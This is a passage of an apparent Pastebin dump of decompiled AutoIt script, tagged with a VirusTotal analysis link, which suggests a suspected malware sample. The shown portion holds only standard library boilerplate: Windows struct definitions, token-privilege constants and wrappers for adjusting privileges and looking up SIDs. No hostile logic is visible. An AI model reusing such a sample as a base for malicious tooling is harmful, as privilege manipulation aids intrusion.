Advertisement
Snakelabs

8caa74325ac0f7134e87de8b1c4a125f6feca3b776c7dd9796433b38c93a

Apr 12th, 2015
568
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 154.14 KB | None | 0 0
  1. https://www.virustotal.com/en/file/0107ce3135ca2ae9d4021f6b1a0e8aa60fa373b55f6c0b6be9f652ac5eb6c6ad/analysis/
  2.  
  3. #NoTrayIcon
  4. #Region
  5.     #AutoIt3Wrapper_UseUpx=n
  6.     #Obfuscator_Parameters=/cs /cn /striponly
  7. #EndRegion
  8. Global Const $tagpoint = "long X;long Y"
  9. Global Const $tagrect = "long Left;long Top;long Right;long Bottom"
  10. Global Const $tagsize = "long X;long Y"
  11. Global Const $tagmargins = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight"
  12. Global Const $tagfiletime = "dword Lo;dword Hi"
  13. Global Const $tagsystemtime = "word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds"
  14. Global Const $tagtime_zone_information = "long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias"
  15. Global Const $tagnmhdr = "hwnd hWndFrom;uint_ptr IDFrom;INT Code"
  16. Global Const $tagcomboboxexitem = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param"
  17. Global Const $tagnmcbedragbegin = $tagnmhdr & ";int ItemID;ptr szText"
  18. Global Const $tagnmcbeendedit = $tagnmhdr & ";bool fChanged;int NewSelection;ptr szText;int Why"
  19. Global Const $tagnmcomboboxex = $tagnmhdr & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param"
  20. Global Const $tagdtprange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid"
  21. Global Const $tagnmdatetimechange = $tagnmhdr & ";dword Flag;" & $tagsystemtime
  22. Global Const $tagnmdatetimeformat = $tagnmhdr & ";ptr Format;" & $tagsystemtime & ";ptr pDisplay;wchar Display[64]"
  23. Global Const $tagnmdatetimeformatquery = $tagnmhdr & ";ptr Format;long SizeX;long SizeY"
  24. Global Const $tagnmdatetimekeydown = $tagnmhdr & ";int VirtKey;ptr Format;" & $tagsystemtime
  25. Global Const $tagnmdatetimestring = $tagnmhdr & ";ptr UserString;" & $tagsystemtime & ";dword Flags"
  26. Global Const $tageventlogrecord = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset"
  27. Global Const $taggdipbitmapdata = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved"
  28. Global Const $taggdipencoderparam = "byte GUID[16];dword Count;dword Type;ptr Values"
  29. Global Const $taggdipencoderparams = "dword Count;byte Params[0]"
  30. Global Const $taggdiprectf = "float X;float Y;float Width;float Height"
  31. Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;bool NoCodecs"
  32. Global Const $taggdipstartupoutput = "ptr HookProc;ptr UnhookProc"
  33. Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
  34. Global Const $taggdippencoderparams = "dword Count;byte Params[0]"
  35. Global Const $taghditem = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State"
  36. Global Const $tagnmhddispinfo = $tagnmhdr & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam"
  37. Global Const $tagnmhdfilterbtnclick = $tagnmhdr & ";int Item;" & $tagrect
  38. Global Const $tagnmheader = $tagnmhdr & ";int Item;int Button;ptr pItem"
  39. Global Const $taggetipaddress = "byte Field4;byte Field3;byte Field2;byte Field1"
  40. Global Const $tagnmipaddress = $tagnmhdr & ";int Field;int Value"
  41. Global Const $taglvfindinfo = "uint Flags;ptr Text;lparam Param;" & $tagpoint & ";uint Direction"
  42. Global Const $taglvhittestinfo = $tagpoint & ";uint Flags;int Item;int SubItem"
  43. Global Const $taglvitem = "uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns"
  44. Global Const $tagnmlistview = $tagnmhdr & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "long ActionX;long ActionY;lparam Param"
  45. Global Const $tagnmlvcustomdraw = $tagnmhdr & ";dword dwDrawStage;handle hdc;long Left;long Top;long Right;long Bottom;" & "dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartId;int iStateId;long TextLeft;long TextTop;long TextRight;long TextBottom;uint uAlign"
  46. Global Const $tagnmlvdispinfo = $tagnmhdr & ";" & $taglvitem
  47. Global Const $tagnmlvfinditem = $tagnmhdr & ";" & $taglvfindinfo
  48. Global Const $tagnmlvgetinfotip = $tagnmhdr & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam"
  49. Global Const $tagnmitemactivate = $tagnmhdr & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $tagpoint & ";lparam lParam;uint KeyFlags"
  50. Global Const $tagnmlvkeydown = $tagnmhdr & ";align 1;word VKey;uint Flags"
  51. Global Const $tagnmlvscroll = $tagnmhdr & ";int DX;int DY"
  52. Global Const $tagmchittestinfo = "uint Size;" & $tagpoint & ";uint Hit;" & $tagsystemtime
  53. Global Const $tagmcmonthrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span"
  54. Global Const $tagmcrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet"
  55. Global Const $tagmcselrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds"
  56. Global Const $tagnmdaystate = $tagnmhdr & ";" & $tagsystemtime & ";int DayState;ptr pDayState"
  57. Global Const $tagnmselchange = $tagnmhdr & ";word BegYear;word BegMonth;word BegDOW;word BegDay;" & "word BegHour;word BegMinute;word BegSecond;word BegMSeconds;word EndYear;word EndMonth;word EndDOW;" & "word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds"
  58. Global Const $tagnmobjectnotify = $tagnmhdr & ";int Item;ptr piid;ptr pObject;long Result"
  59. Global Const $tagnmtckeydown = $tagnmhdr & ";word VKey;uint Flags"
  60. Global Const $tagtvitem = "uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param"
  61. Global Const $tagtvitemex = $tagtvitem & ";int Integral"
  62. Global Const $tagnmtreeview = $tagnmhdr & ";uint Action;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;uint NewMask;handle NewhItem;" & "uint NewState;uint NewStateMask;ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;" & "lparam NewParam;long PointX;long PointY"
  63. Global Const $tagnmtvcustomdraw = $tagnmhdr & ";dword DrawStage;handle HDC;long Left;long Top;long Right;long Bottom;" & "dword_ptr ItemSpec;uint ItemState;lparam ItemParam;dword ClrText;dword ClrTextBk;int Level"
  64. Global Const $tagnmtvdispinfo = $tagnmhdr & ";" & $tagtvitem
  65. Global Const $tagnmtvgetinfotip = $tagnmhdr & ";ptr Text;int TextMax;handle hItem;lparam lParam"
  66. Global Const $tagtvhittestinfo = $tagpoint & ";uint Flags;handle Item"
  67. Global Const $tagnmtvkeydown = $tagnmhdr & ";word VKey;uint Flags"
  68. Global Const $tagnmmouse = $tagnmhdr & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $tagpoint & ";lparam HitInfo"
  69. Global Const $tagtoken_privileges = "dword Count;int64 LUID;dword Attributes"
  70. Global Const $tagimageinfo = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $tagrect
  71. Global Const $tagmenuinfo = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData"
  72. Global Const $tagmenuiteminfo = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem"
  73. Global Const $tagrebarbandinfo = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader"
  74. Global Const $tagnmrebarautobreak = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak"
  75. Global Const $tagnmrbautosize = $tagnmhdr & ";bool fChanged;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;" & "long ActualLeft;long ActualTop;long ActualRight;long ActualBottom"
  76. Global Const $tagnmrebar = $tagnmhdr & ";dword dwMask;uint uBand;uint fStyle;uint wID;laram lParam"
  77. Global Const $tagnmrebarchevron = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;" & $tagrect & ";lparam lParamNM"
  78. Global Const $tagnmrebarchildsize = $tagnmhdr & ";uint uBand;uint wID;long CLeft;long CTop;long CRight;long CBottom;" & "long BLeft;long BTop;long BRight;long BBottom"
  79. Global Const $tagcolorscheme = "dword Size;dword BtnHighlight;dword BtnShadow"
  80. Global Const $tagnmtoolbar = $tagnmhdr & ";int iItem;" & "int iBitmap;int idCommand;byte fsState;byte fsStyle;align;dword_ptr dwData;int_ptr iString" & ";int cchText;ptr pszText;" & $tagrect
  81. Global Const $tagnmtbhotitem = $tagnmhdr & ";int idOld;int idNew;dword dwFlags"
  82. Global Const $tagtbbutton = "int Bitmap;int Command;byte State;byte Style;align;dword_ptr Param;int_ptr String"
  83. Global Const $tagtbbuttoninfo = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax"
  84. Global Const $tagnetresource = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider"
  85. Global Const $tagoverlapped = "ulong_ptr Internal;ulong_ptr InternalHigh;dword Offset;dword OffsetHigh;handle hEvent"
  86. Global Const $tagopenfilename = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx"
  87. Global Const $tagbitmapinfo = "dword Size;long Width;long Height;word Planes;word BitCount;dword Compression;dword SizeImage;" & "long XPelsPerMeter;long YPelsPerMeter;dword ClrUsed;dword ClrImportant;dword RGBQuad"
  88. Global Const $tagblendfunction = "byte Op;byte Flags;byte Alpha;byte Format"
  89. Global Const $tagguid = "dword Data1;word Data2;word Data3;byte Data4[8]"
  90. Global Const $tagwindowplacement = "uint length; uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]"
  91. Global Const $tagwindowpos = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags"
  92. Global Const $tagscrollinfo = "uint cbSize;uint fMask;int  nMin;int  nMax;uint nPage;int  nPos;int  nTrackPos"
  93. Global Const $tagscrollbarinfo = "dword cbSize;" & $tagrect & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]"
  94. Global Const $taglogfont = "long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32]"
  95. Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo"
  96. Global Const $tagprocess_information = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID"
  97. Global Const $tagstartupinfo = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError"
  98. Global Const $tagsecurity_attributes = "dword Length;ptr Descriptor;bool InheritHandle"
  99. Global Const $tagwin32_find_data = "dword dwFileAttributes; dword ftCreationTime[2]; dword ftLastAccessTime[2]; dword ftLastWriteTime[2]; dword nFileSizeHigh; dword nFileSizeLow; dword dwReserved0; dword dwReserved1; wchar cFileName[260]; wchar cAlternateFileName[14]"
  100. Global Const $fc_nooverwrite = 0
  101. Global Const $fc_overwrite = 1
  102. Global Const $ft_modified = 0
  103. Global Const $ft_created = 1
  104. Global Const $ft_accessed = 2
  105. Global Const $fo_read = 0
  106. Global Const $fo_append = 1
  107. Global Const $fo_overwrite = 2
  108. Global Const $fo_binary = 16
  109. Global Const $fo_unicode = 32
  110. Global Const $fo_utf16_le = 32
  111. Global Const $fo_utf16_be = 64
  112. Global Const $fo_utf8 = 128
  113. Global Const $fo_utf8_nobom = 256
  114. Global Const $eof = -1
  115. Global Const $fd_filemustexist = 1
  116. Global Const $fd_pathmustexist = 2
  117. Global Const $fd_multiselect = 4
  118. Global Const $fd_promptcreatenew = 8
  119. Global Const $fd_promptoverwrite = 16
  120. Global Const $create_new = 1
  121. Global Const $create_always = 2
  122. Global Const $open_existing = 3
  123. Global Const $open_always = 4
  124. Global Const $truncate_existing = 5
  125. Global Const $invalid_set_file_pointer = -1
  126. Global Const $file_begin = 0
  127. Global Const $file_current = 1
  128. Global Const $file_end = 2
  129. Global Const $file_attribute_readonly = 1
  130. Global Const $file_attribute_hidden = 2
  131. Global Const $file_attribute_system = 4
  132. Global Const $file_attribute_directory = 16
  133. Global Const $file_attribute_archive = 32
  134. Global Const $file_attribute_device = 64
  135. Global Const $file_attribute_normal = 128
  136. Global Const $file_attribute_temporary = 256
  137. Global Const $file_attribute_sparse_file = 512
  138. Global Const $file_attribute_reparse_point = 1024
  139. Global Const $file_attribute_compressed = 2048
  140. Global Const $file_attribute_offline = 4096
  141. Global Const $file_attribute_not_content_indexed = 8192
  142. Global Const $file_attribute_encrypted = 16384
  143. Global Const $file_share_read = 1
  144. Global Const $file_share_write = 2
  145. Global Const $file_share_delete = 4
  146. Global Const $generic_all = 268435456
  147. Global Const $generic_execute = 536870912
  148. Global Const $generic_write = 1073741824
  149. Global Const $generic_read = -2147483648
  150. Global Const $error_no_token = 1008
  151. Global Const $se_assignprimarytoken_name = "SeAssignPrimaryTokenPrivilege"
  152. Global Const $se_audit_name = "SeAuditPrivilege"
  153. Global Const $se_backup_name = "SeBackupPrivilege"
  154. Global Const $se_change_notify_name = "SeChangeNotifyPrivilege"
  155. Global Const $se_create_global_name = "SeCreateGlobalPrivilege"
  156. Global Const $se_create_pagefile_name = "SeCreatePagefilePrivilege"
  157. Global Const $se_create_permanent_name = "SeCreatePermanentPrivilege"
  158. Global Const $se_create_token_name = "SeCreateTokenPrivilege"
  159. Global Const $se_debug_name = "SeDebugPrivilege"
  160. Global Const $se_enable_delegation_name = "SeEnableDelegationPrivilege"
  161. Global Const $se_impersonate_name = "SeImpersonatePrivilege"
  162. Global Const $se_inc_base_priority_name = "SeIncreaseBasePriorityPrivilege"
  163. Global Const $se_increase_quota_name = "SeIncreaseQuotaPrivilege"
  164. Global Const $se_load_driver_name = "SeLoadDriverPrivilege"
  165. Global Const $se_lock_memory_name = "SeLockMemoryPrivilege"
  166. Global Const $se_machine_account_name = "SeMachineAccountPrivilege"
  167. Global Const $se_manage_volume_name = "SeManageVolumePrivilege"
  168. Global Const $se_prof_single_process_name = "SeProfileSingleProcessPrivilege"
  169. Global Const $se_remote_shutdown_name = "SeRemoteShutdownPrivilege"
  170. Global Const $se_restore_name = "SeRestorePrivilege"
  171. Global Const $se_security_name = "SeSecurityPrivilege"
  172. Global Const $se_shutdown_name = "SeShutdownPrivilege"
  173. Global Const $se_sync_agent_name = "SeSyncAgentPrivilege"
  174. Global Const $se_system_environment_name = "SeSystemEnvironmentPrivilege"
  175. Global Const $se_system_profile_name = "SeSystemProfilePrivilege"
  176. Global Const $se_systemtime_name = "SeSystemtimePrivilege"
  177. Global Const $se_take_ownership_name = "SeTakeOwnershipPrivilege"
  178. Global Const $se_tcb_name = "SeTcbPrivilege"
  179. Global Const $se_unsolicited_input_name = "SeUnsolicitedInputPrivilege"
  180. Global Const $se_undock_name = "SeUndockPrivilege"
  181. Global Const $se_privilege_enabled_by_default = 1
  182. Global Const $se_privilege_enabled = 2
  183. Global Const $se_privilege_removed = 4
  184. Global Const $se_privilege_used_for_access = -2147483648
  185. Global Const $tokenuser = 1
  186. Global Const $tokengroups = 2
  187. Global Const $tokenprivileges = 3
  188. Global Const $tokenowner = 4
  189. Global Const $tokenprimarygroup = 5
  190. Global Const $tokendefaultdacl = 6
  191. Global Const $tokensource = 7
  192. Global Const $tokentype = 8
  193. Global Const $tokenimpersonationlevel = 9
  194. Global Const $tokenstatistics = 10
  195. Global Const $tokenrestrictedsids = 11
  196. Global Const $tokensessionid = 12
  197. Global Const $tokengroupsandprivileges = 13
  198. Global Const $tokensessionreference = 14
  199. Global Const $tokensandboxinert = 15
  200. Global Const $tokenauditpolicy = 16
  201. Global Const $tokenorigin = 17
  202. Global Const $tokenelevationtype = 18
  203. Global Const $tokenlinkedtoken = 19
  204. Global Const $tokenelevation = 20
  205. Global Const $tokenhasrestrictions = 21
  206. Global Const $tokenaccessinformation = 22
  207. Global Const $tokenvirtualizationallowed = 23
  208. Global Const $tokenvirtualizationenabled = 24
  209. Global Const $tokenintegritylevel = 25
  210. Global Const $tokenuiaccess = 26
  211. Global Const $tokenmandatorypolicy = 27
  212. Global Const $tokenlogonsid = 28
  213. Global Const $token_assign_primary = 1
  214. Global Const $token_duplicate = 2
  215. Global Const $token_impersonate = 4
  216. Global Const $token_query = 8
  217. Global Const $token_query_source = 16
  218. Global Const $token_adjust_privileges = 32
  219. Global Const $token_adjust_groups = 64
  220. Global Const $token_adjust_default = 128
  221. Global Const $token_adjust_sessionid = 256
  222.  
  223. Func _winapi_getlasterror($curerr = @error, $curext = @extended)
  224.     Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError")
  225.     Return SetError($curerr, $curext, $aresult[0])
  226. EndFunc
  227.  
  228. Func _winapi_setlasterror($ierrcode, $curerr = @error, $curext = @extended)
  229.     DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrcode)
  230.     Return SetError($curerr, $curext)
  231. EndFunc
  232.  
  233. Func _security__adjusttokenprivileges($htoken, $fdisableall, $pnewstate, $ibufferlen, $pprevstate = 0, $prequired = 0)
  234.     Local $aresult = DllCall("advapi32.dll", "bool", "AdjustTokenPrivileges", "handle", $htoken, "bool", $fdisableall, "ptr", $pnewstate, "dword", $ibufferlen, "ptr", $pprevstate, "ptr", $prequired)
  235.     If @error Then Return SetError(@error, @extended, False)
  236.     Return $aresult[0]
  237. EndFunc
  238.  
  239. Func _security__getaccountsid($saccount, $ssystem = "")
  240.     Local $aacct = _security__lookupaccountname($saccount, $ssystem)
  241.     If @error Then Return SetError(@error, 0, 0)
  242.     Return _security__stringsidtosid($aacct[0])
  243. EndFunc
  244.  
  245. Func _security__getlengthsid($psid)
  246.     If NOT _security__isvalidsid($psid) Then Return SetError(-1, 0, 0)
  247.     Local $aresult = DllCall("advapi32.dll", "dword", "GetLengthSid", "ptr", $psid)
  248.     If @error Then Return SetError(@error, @extended, 0)
  249.     Return $aresult[0]
  250. EndFunc
  251.  
  252. Func _security__gettokeninformation($htoken, $iclass)
  253.     Local $aresult = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "ptr", 0, "dword", 0, "dword*", 0)
  254.     If @error Then Return SetError(@error, @extended, 0)
  255.     If NOT $aresult[0] Then Return 0
  256.     Local $tbuffer = DllStructCreate("byte[" & $aresult[5] & "]")
  257.     Local $pbuffer = DllStructGetPtr($tbuffer)
  258.     $aresult = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "ptr", $pbuffer, "dword", $aresult[5], "dword*", 0)
  259.     If @error Then Return SetError(@error, @extended, 0)
  260.     If NOT $aresult[0] Then Return 0
  261.     Return $tbuffer
  262. EndFunc
  263.  
  264. Func _security__impersonateself($ilevel = 2)
  265.     Local $aresult = DllCall("advapi32.dll", "bool", "ImpersonateSelf", "int", $ilevel)
  266.     If @error Then Return SetError(@error, @extended, False)
  267.     Return $aresult[0]
  268. EndFunc
  269.  
  270. Func _security__isvalidsid($psid)
  271.     Local $aresult = DllCall("advapi32.dll", "bool", "IsValidSid", "ptr", $psid)
  272.     If @error Then Return SetError(@error, @extended, False)
  273.     Return $aresult[0]
  274. EndFunc
  275.  
  276. Func _security__lookupaccountname($saccount, $ssystem = "")
  277.     Local $tdata = DllStructCreate("byte SID[256]")
  278.     Local $psid = DllStructGetPtr($tdata, "SID")
  279.     Local $aresult = DllCall("advapi32.dll", "bool", "LookupAccountNameW", "wstr", $ssystem, "wstr", $saccount, "ptr", $psid, "dword*", 256, "wstr", "", "dword*", 256, "int*", 0)
  280.     If @error Then Return SetError(@error, @extended, 0)
  281.     If NOT $aresult[0] Then Return 0
  282.     Local $aacct[3]
  283.     $aacct[0] = _security__sidtostringsid($psid)
  284.     $aacct[1] = $aresult[5]
  285.     $aacct[2] = $aresult[7]
  286.     Return $aacct
  287. EndFunc
  288.  
  289. Func _security__lookupaccountsid($vsid)
  290.     Local $psid, $aacct[3]
  291.     If IsString($vsid) Then
  292.         Local $tsid = _security__stringsidtosid($vsid)
  293.         $psid = DllStructGetPtr($tsid)
  294.     Else
  295.         $psid = $vsid
  296.     EndIf
  297.     If NOT _security__isvalidsid($psid) Then Return SetError(-1, 0, 0)
  298.     Local $aresult = DllCall("advapi32.dll", "bool", "LookupAccountSidW", "ptr", 0, "ptr", $psid, "wstr", "", "dword*", 256, "wstr", "", "dword*", 256, "int*", 0)
  299.     If @error Then Return SetError(@error, @extended, 0)
  300.     If NOT $aresult[0] Then Return 0
  301.     Local $aacct[3]
  302.     $aacct[0] = $aresult[3]
  303.     $aacct[1] = $aresult[5]
  304.     $aacct[2] = $aresult[7]
  305.     Return $aacct
  306. EndFunc
  307.  
  308. Func _security__lookupprivilegevalue($ssystem, $sname)
  309.     Local $aresult = DllCall("advapi32.dll", "int", "LookupPrivilegeValueW", "wstr", $ssystem, "wstr", $sname, "int64*", 0)
  310.     If @error Then Return SetError(@error, @extended, 0)
  311.     Return SetError(0, $aresult[0], $aresult[3])
  312. EndFunc
  313.  
  314. Func _security__openprocesstoken($hprocess, $iaccess)
  315.     Local $aresult = DllCall("advapi32.dll", "int", "OpenProcessToken", "handle", $hprocess, "dword", $iaccess, "ptr", 0)
  316.     If @error Then Return SetError(@error, @extended, 0)
  317.     Return SetError(0, $aresult[0], $aresult[3])
  318. EndFunc
  319.  
  320. Func _security__openthreadtoken($iaccess, $hthread = 0, $fopenasself = False)
  321.     If $hthread = 0 Then $hthread = DllCall("kernel32.dll", "handle", "GetCurrentThread")
  322.     If @error Then Return SetError(@error, @extended, 0)
  323.     Local $aresult = DllCall("advapi32.dll", "bool", "OpenThreadToken", "handle", $hthread[0], "dword", $iaccess, "int", $fopenasself, "ptr*", 0)
  324.     If @error Then Return SetError(@error, @extended, 0)
  325.     Return SetError(0, $aresult[0], $aresult[4])
  326. EndFunc
  327.  
  328. Func _security__openthreadtokenex($iaccess, $hthread = 0, $fopenasself = False)
  329.     Local $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself)
  330.     If $htoken = 0 Then
  331.         If _winapi_getlasterror() <> $error_no_token Then Return SetError(-3, _winapi_getlasterror(), 0)
  332.         If NOT _security__impersonateself() Then Return SetError(-1, _winapi_getlasterror(), 0)
  333.         $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself)
  334.         If $htoken = 0 Then Return SetError(-2, _winapi_getlasterror(), 0)
  335.     EndIf
  336.     Return $htoken
  337. EndFunc
  338.  
  339. Func _security__setprivilege($htoken, $sprivilege, $fenable)
  340.     Local $iluid = _security__lookupprivilegevalue("", $sprivilege)
  341.     If $iluid = 0 Then Return SetError(-1, 0, False)
  342.     Local $tcurrstate = DllStructCreate($tagtoken_privileges)
  343.     Local $pcurrstate = DllStructGetPtr($tcurrstate)
  344.     Local $icurrstate = DllStructGetSize($tcurrstate)
  345.     Local $tprevstate = DllStructCreate($tagtoken_privileges)
  346.     Local $pprevstate = DllStructGetPtr($tprevstate)
  347.     Local $iprevstate = DllStructGetSize($tprevstate)
  348.     Local $trequired = DllStructCreate("int Data")
  349.     Local $prequired = DllStructGetPtr($trequired)
  350.     DllStructSetData($tcurrstate, "Count", 1)
  351.     DllStructSetData($tcurrstate, "LUID", $iluid)
  352.     If NOT _security__adjusttokenprivileges($htoken, False, $pcurrstate, $icurrstate, $pprevstate, $prequired) Then Return SetError(-2, @error, False)
  353.     DllStructSetData($tprevstate, "Count", 1)
  354.     DllStructSetData($tprevstate, "LUID", $iluid)
  355.     Local $iattributes = DllStructGetData($tprevstate, "Attributes")
  356.     If $fenable Then
  357.         $iattributes = BitOR($iattributes, $se_privilege_enabled)
  358.     Else
  359.         $iattributes = BitAND($iattributes, BitNOT($se_privilege_enabled))
  360.     EndIf
  361.     DllStructSetData($tprevstate, "Attributes", $iattributes)
  362.     If NOT _security__adjusttokenprivileges($htoken, False, $pprevstate, $iprevstate, $pcurrstate, $prequired) Then Return SetError(-3, @error, False)
  363.     Return True
  364. EndFunc
  365.  
  366. Func _security__sidtostringsid($psid)
  367.     If NOT _security__isvalidsid($psid) Then Return SetError(-1, 0, "")
  368.     Local $aresult = DllCall("advapi32.dll", "int", "ConvertSidToStringSidW", "ptr", $psid, "ptr*", 0)
  369.     If @error Then Return SetError(@error, @extended, "")
  370.     If NOT $aresult[0] Then Return ""
  371.     Local $tbuffer = DllStructCreate("wchar Text[256]", $aresult[2])
  372.     Local $ssid = DllStructGetData($tbuffer, "Text")
  373.     DllCall("Kernel32.dll", "ptr", "LocalFree", "ptr", $aresult[2])
  374.     Return $ssid
  375. EndFunc
  376.  
  377. Func _security__sidtypestr($itype)
  378.     Switch $itype
  379.         Case 1
  380.             Return "User"
  381.         Case 2
  382.             Return "Group"
  383.         Case 3
  384.             Return "Domain"
  385.         Case 4
  386.             Return "Alias"
  387.         Case 5
  388.             Return "Well Known Group"
  389.         Case 6
  390.             Return "Deleted Account"
  391.         Case 7
  392.             Return "Invalid"
  393.         Case 8
  394.             Return "Invalid"
  395.         Case 9
  396.             Return "Computer"
  397.         Case Else
  398.             Return "Unknown SID Type"
  399.     EndSwitch
  400. EndFunc
  401.  
  402. Func _security__stringsidtosid($ssid)
  403.     Local $aresult = DllCall("advapi32.dll", "bool", "ConvertStringSidToSidW", "wstr", $ssid, "ptr*", 0)
  404.     If @error Then Return SetError(@error, @extended, 0)
  405.     If NOT $aresult[0] Then Return 0
  406.     Local $isize = _security__getlengthsid($aresult[2])
  407.     Local $tbuffer = DllStructCreate("byte Data[" & $isize & "]", $aresult[2])
  408.     Local $tsid = DllStructCreate("byte Data[" & $isize & "]")
  409.     DllStructSetData($tsid, "Data", DllStructGetData($tbuffer, "Data"))
  410.     DllCall("kernel32.dll", "ptr", "LocalFree", "ptr", $aresult[2])
  411.     Return $tsid
  412. EndFunc
  413.  
  414. Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
  415.     Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
  416.     If @error Then Return SetError(@error, @extended, "")
  417.     If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
  418.     Return $aresult
  419. EndFunc
  420.  
  421. Func _sendmessagea($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
  422.     Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageA", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
